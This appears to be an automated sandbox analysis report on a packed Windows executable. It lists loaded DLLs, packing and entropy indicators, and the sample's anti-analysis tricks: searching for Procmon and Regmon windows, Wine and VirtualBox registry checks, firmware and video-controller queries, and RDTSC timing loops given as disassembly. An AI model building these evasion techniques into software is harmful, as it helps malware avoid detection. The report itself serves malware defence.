Source: C:\Users\user\Desktop\SMmAznmdAa.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	Section loaded: windows.shell.servicehostbuilder.dll	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	Section loaded: wkscli.dll	Jump to behavior

Source: Google Drive.lnk.6.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.6.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.6.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.6.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.6.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.6.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: SMmAznmdAa.exe

Static file information: File size 1813504 > 1048576

Source: SMmAznmdAa.exe

Static PE information: Raw size of suopojhu is bigger than: 0x100000 < 0x191000

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\SMmAznmdAa.exe

Unpacked PE file: 0.2.SMmAznmdAa.exe.fb0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;suopojhu:EW;toxwbfwt:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;suopojhu:EW;toxwbfwt:EW;.taggant:EW;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: SMmAznmdAa.exe

Static PE information: real checksum: 0x1c6c82 should be: 0x1be16c

Source: SMmAznmdAa.exe	Static PE information: section name:
Source: SMmAznmdAa.exe	Static PE information: section name: .idata
Source: SMmAznmdAa.exe	Static PE information: section name:
Source: SMmAznmdAa.exe	Static PE information: section name: suopojhu
Source: SMmAznmdAa.exe	Static PE information: section name: toxwbfwt
Source: SMmAznmdAa.exe	Static PE information: section name: .taggant

Source: SMmAznmdAa.exe	Static PE information: section name: entropy: 7.982269081867955
Source: SMmAznmdAa.exe	Static PE information: section name: suopojhu entropy: 7.953046756359875

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\SMmAznmdAa.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior

Source: C:\Users\user\Desktop\SMmAznmdAa.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\SMmAznmdAa.exe

Process information set: NOOPENFILEERRORBOX

Jump to behavior

Malware Analysis System Evasion

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Users\user\Desktop\SMmAznmdAa.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_VideoController

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\SMmAznmdAa.exe

System information queried: FirmwareTableInformation

Jump to behavior

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\SMmAznmdAa.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 10092BA second address: 1008B81 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 nop 0x00000007 mov dword ptr [ebp+122D1C72h], eax 0x0000000d push dword ptr [ebp+122D15A9h] 0x00000013 stc 0x00000014 call dword ptr [ebp+122D1C54h] 0x0000001a pushad 0x0000001b mov dword ptr [ebp+122D1BECh], eax 0x00000021 xor eax, eax 0x00000023 jmp 00007FCD80B38A13h 0x00000028 mov edx, dword ptr [esp+28h] 0x0000002c pushad 0x0000002d jmp 00007FCD80B38A0Bh 0x00000032 popad 0x00000033 mov dword ptr [ebp+122D2A86h], eax 0x00000039 pushad 0x0000003a xor esi, dword ptr [ebp+122D2B76h] 0x00000040 mov dx, F748h 0x00000044 popad 0x00000045 mov esi, 0000003Ch 0x0000004a pushad 0x0000004b ja 00007FCD80B38A08h 0x00000051 jno 00007FCD80B38A19h 0x00000057 popad 0x00000058 pushad 0x00000059 mov dword ptr [ebp+122D1BECh], edi 0x0000005f jc 00007FCD80B38A07h 0x00000065 clc 0x00000066 popad 0x00000067 add esi, dword ptr [esp+24h] 0x0000006b or dword ptr [ebp+122D18F3h], edx 0x00000071 lodsw 0x00000073 sub dword ptr [ebp+122D18F3h], edi 0x00000079 jmp 00007FCD80B38A0Ah 0x0000007e add eax, dword ptr [esp+24h] 0x00000082 je 00007FCD80B38A0Dh 0x00000088 jnl 00007FCD80B38A07h 0x0000008e mov ebx, dword ptr [esp+24h] 0x00000092 cmc 0x00000093 jmp 00007FCD80B38A0Ah 0x00000098 push eax 0x00000099 push edx 0x0000009a push eax 0x0000009b push eax 0x0000009c push edx 0x0000009d rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 117CF01 second address: 117CF0D instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push esi 0x00000004 pop esi 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 117CF0D second address: 117CF24 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b jns 00007FCD80B38A06h 0x00000011 je 00007FCD80B38A06h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 117CF24 second address: 117CF4F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCD80B68F1Ah 0x00000007 jmp 00007FCD80B68F28h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f push edx 0x00000010 pop edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 117CF4F second address: 117CF55 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 117CF55 second address: 117CF5D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 1167F5B second address: 1167F69 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCD80B38A0Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 1167F69 second address: 1167F73 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FCD80B68F2Bh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 117BF2E second address: 117BF3A instructions: 0x00000000 rdtsc 0x00000002 jo 00007FCD80B38A0Eh 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 117C079 second address: 117C07F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 117C07F second address: 117C083 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 117C083 second address: 117C08D instructions: 0x00000000 rdtsc 0x00000002 ja 00007FCD80B68F16h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 117E162 second address: 117E188 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov eax, dword ptr [esp+04h] 0x0000000a jne 00007FCD80B38A14h 0x00000010 mov eax, dword ptr [eax] 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 117E188 second address: 117E192 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FCD80B68F16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 117E21A second address: 117E221 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 117E221 second address: 117E236 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a jng 00007FCD80B68F18h 0x00000010 pushad 0x00000011 popad 0x00000012 push esi 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 117E236 second address: 117E259 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 popad 0x00000006 nop 0x00000007 mov dword ptr [ebp+122D1C0Bh], ebx 0x0000000d push 00000000h 0x0000000f mov dword ptr [ebp+122D213Bh], esi 0x00000015 call 00007FCD80B38A09h 0x0000001a push eax 0x0000001b push edx 0x0000001c push edi 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 117E259 second address: 117E25E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 117E25E second address: 117E264 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 117E264 second address: 117E27E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a jnl 00007FCD80B68F18h 0x00000010 push eax 0x00000011 push edx 0x00000012 jbe 00007FCD80B68F16h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 117E27E second address: 117E2AA instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b pushad 0x0000000c jmp 00007FCD80B38A0Fh 0x00000011 push ebx 0x00000012 pushad 0x00000013 popad 0x00000014 pop ebx 0x00000015 popad 0x00000016 mov eax, dword ptr [eax] 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c jne 00007FCD80B38A06h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 117E2AA second address: 117E2BC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCD80B68F1Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 117E2BC second address: 117E2C1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 117E381 second address: 117E385 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 117E385 second address: 117E397 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 push eax 0x00000008 pushad 0x00000009 pushad 0x0000000a jng 00007FCD80B38A06h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 117E3F4 second address: 117E3FA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 117E3FA second address: 117E3FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 117E4C8 second address: 117E518 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCD80B68F1Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 add dword ptr [esp], 7F54C2CAh 0x00000010 push 00000000h 0x00000012 push ebx 0x00000013 call 00007FCD80B68F18h 0x00000018 pop ebx 0x00000019 mov dword ptr [esp+04h], ebx 0x0000001d add dword ptr [esp+04h], 0000001Dh 0x00000025 inc ebx 0x00000026 push ebx 0x00000027 ret 0x00000028 pop ebx 0x00000029 ret 0x0000002a lea ebx, dword ptr [ebp+1244906Ch] 0x00000030 mov esi, 4AE91262h 0x00000035 push eax 0x00000036 push eax 0x00000037 push edx 0x00000038 push eax 0x00000039 push edx 0x0000003a push edi 0x0000003b pop edi 0x0000003c rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 117E518 second address: 117E534 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCD80B38A18h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 119059D second address: 11905A7 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FCD80B68F16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 119D51E second address: 119D548 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007FCD80B38A06h 0x0000000a jc 00007FCD80B38A06h 0x00000010 jmp 00007FCD80B38A19h 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 119D6FC second address: 119D718 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FCD80B68F27h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 119DDBF second address: 119DDC5 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 119DDC5 second address: 119DDDD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jns 00007FCD80B68F1Ah 0x0000000c js 00007FCD80B68F1Ch 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 1192948 second address: 1192952 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007FCD80B38A06h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 1192952 second address: 119295E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jng 00007FCD80B68F16h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 119E79A second address: 119E79E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 119E79E second address: 119E7A2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 119EEC4 second address: 119EECC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 119EECC second address: 119EEE1 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FCD80B68F1Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 119EEE1 second address: 119EEFB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 jmp 00007FCD80B38A13h 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 119EEFB second address: 119EF16 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FCD80B68F25h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 119EF16 second address: 119EF1A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 119F07C second address: 119F086 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FCD80B68F16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 119F086 second address: 119F09F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCD80B38A14h 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 119F09F second address: 119F0BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FCD80B68F25h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 119F228 second address: 119F22E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 119F22E second address: 119F258 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FCD80B68F16h 0x00000008 jmp 00007FCD80B68F1Eh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push ebx 0x00000010 jmp 00007FCD80B68F20h 0x00000015 pop ebx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 11A1668 second address: 11A1672 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FCD80B38A0Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 11A1672 second address: 11A167D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push esi 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 11A1BC5 second address: 11A1BC9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 11A0BE2 second address: 11A0BE6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 11A7BDB second address: 11A7BE5 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FCD80B38A06h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 11A7BE5 second address: 11A7BEF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
